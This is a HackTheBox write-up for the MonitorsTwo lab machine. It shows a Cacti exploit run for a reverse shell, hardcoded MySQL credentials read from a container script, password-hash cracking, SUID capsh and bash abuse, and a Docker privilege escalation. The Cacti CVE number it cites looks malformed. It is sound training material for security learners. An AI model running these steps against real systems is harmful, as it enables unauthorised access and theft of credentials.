HackTheBox: MonitorsTwo write-up
In this article we’ll crack the MonitorsTwo machine on HackTheBox. The solution involves exploiting an outdated version of Cacti (a server monitoring software), accessing a poorly protected MySQL database, cracking password hashes and abusing Docker permissions. This challenge is rated as easy
on HackTheBox.
Enumeration and initial access
As usual, we begin our enumeration process with a port scan. We find out that two services are present, SSH and HTTP, both running on standard ports:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
...
80/tcp open http syn-ack nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: 4F12CCCD3C42A4A478F067337FE92794
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Login to Cacti
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
As indicated by the web service scan results, upon accessing the web page, we encounter a Cacti 1.2.22 login page. Cacti is an open-source, web-based network monitoring and graphing solution that offers a user-friendly interface for managing and visualizing network performance data, usually in the form of graphs and charts.
Upon investigating the specific version of Cacti in use, we find that it is vulnerable to CVE-2022-4612269. This vulnerability enables an unauthenticated attacker to execute arbitrary code on the server hosting Cacti. To exploit this weakness, we turn to GitHub, where we discover one of the many working exploits.
To get a shell on the target all we have to do is open a netcat listener on our machine with rlwrap nc -vlnp 9001
and execute the exploit:
$ python3 exploit.py -u http://<TARGET IP>/ --LHOST <LOCAL IP> --LPORT 9001
Checking...
The target is vulnerable. Exploiting...
Bruteforcing the host_id and local_data_ids
Bruteforce Success!!
After getting the shell, we can stabilize it with the following commands:
$ export TERM=xterm
# Background the session with CTRL+Z
$ stty raw -echo; fg;
Machine enumeration and user flag
Upon gaining access to the machine, we immediately notice the presence of a /.dockerenv
file which indicates that we are inside a Docker container. We also come across a file named /entrypoint.sh
. This file typically serves as the entry point for a Docker container, containing instructions and commands that are executed when the container starts:
Let’s take a look at entrypoint.sh
:
bash-5.1$ cat entrypoint.sh cat entrypoint.sh #!/bin/bash set -ex wait-for-it db:3306 -t 300 -- echo "database is connected" if [[ ! $(mysql --host=db --user=root --password=root cacti -e "show tables") =~ "automation_devices" ]]; then mysql --host=db --user=root --password=root cacti < /var/www/html/cacti.sql mysql --host=db --user=root --password=root cacti -e "UPDATE user_auth SET must_change_password='' WHERE username = 'admin'" mysql --host=db --user=root --password=root cacti -e "SET GLOBAL time_zone = 'UTC'" fi chown www-data:www-data -R /var/www/html # first arg is `-f` or `--some-option` if [ "${1#-}" != "$1" ]; then set -- apache2-foreground "$@" fi exec "$@"
We have the credentials for the MySQL database! Let’s connect to it and take a look:
$ mysql --host=db --user=root --password=root ... MySQL [(none)]> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | cacti | | mysql | | performance_schema | | sys | +--------------------+ 5 rows in set (0.002 sec)
MySQL [(none)]> use cacti; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed
MySQL [cacti]> show tables; +-------------------------------------+ | Tables_in_cacti | +-------------------------------------+ | aggregate_graph_templates | | aggregate_graph_templates_graph | | aggregate_graph_templates_item | ... | user_auth | ... +-------------------------------------+ 111 rows in set (0.001 sec)
MySQL [cacti]> select * from user_auth; +----+----------+--------------------------------------------------------------+... | id | username | password |... +----+----------+--------------------------------------------------------------+... | 1 | admin | $2y$10$mYZqbqQQPgQVmtkN5Lrtj.MC40FezJbQlCKem2sj/VnfkEunLTcQW |... | 3 | guest | 43e9a4ab75570f5b |... | 4 | marcus | $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C |... +----+----------+--------------------------------------------------------------+... 3 rows in set (0.001 sec)
We have obtained a hashed password for the user marcus
. Let’s store it in a file and attempt to crack it using John The Ripper:
$ john hash.forjohn --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
<REDACTED> (?)
1g 0:00:01:09 DONE (2023-05-10 16:18) 0.01444g/s 123.2p/s 123.2c/s 123.2C/s 474747..coucou
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Excellent, the password is present in the rockyou dictionary and, conveniently, it’s also reused for SSH authentication. We can proceed to establish an SSH connection to the target machine by utilizing the credentials we’ve uncovered and get the user flag.
Privilege Escalation and root flag
After poking around for some time I realized that the target is running a vulnerable version of Docker:
marcus@monitorstwo:~$ docker --version
Docker version 20.10.5+dfsg1, build 55c4c88
This version is vulnerable to CVE-2021-41091 (more details here). Moby (the Docker engine) contains a flaw that permits unprivileged Linux users to access and run programs inside containers, resulting from insufficient permissions in the data directory.
In simple terms, it is possible to alter the permissions (for instance, setting the SUID bit) of applications executing within the container, and subsequently run them as an unprivileged user outside the container while preserving the assigned permissions to do all kinds of nasty things. In our case this could be abused by setting the SUID bit on the bash
binary inside the container, exfiltrating and running it on the host system to gain root access.
I found a nice exploit on GitHub that we can use to achieve this, but first we need to get root permissions inside the Docker container.
To achieve this I uploaded a copy of linpeas to the target container. It found an interesting file:
/sbin/capsh
has a SUID bit set – after looking it up on GTFOBins we find the syntax to abuse it and get a root shell:
/sbin/capsh --gid=0 --uid=0 --
Almost there. We can now set the SUID bit on bash with the following command:
chmod u+s /bin/bash
Now let’s go back to our host machine, upload and run the exploit I mentioned earlier. It will provide step by step instructions to get a root shell:
All that’s left to do is grab our root flag!
great walkthrough, thank you, couldn’t get it without you
Hey, thank you, I’m glad it was helpful! 😀👍
Do you connect to the mysql server from the reverse shell?
That’s correct, it is not exposed to the world and can only be accessed locally (=from the revshell)
Another choice is reverse port forward using tools like `chisel`. This comes handy when you need to do more things to the db, eg. run some sqlmap or whatever can’t be easily installed on the victim.
Hey there, thanks for the insight! Yeah, chisel can indeed be very helpful in more complex situations. I’ll definitely keep that in mind for future posts. Thanks for the feedback!
Thanks btw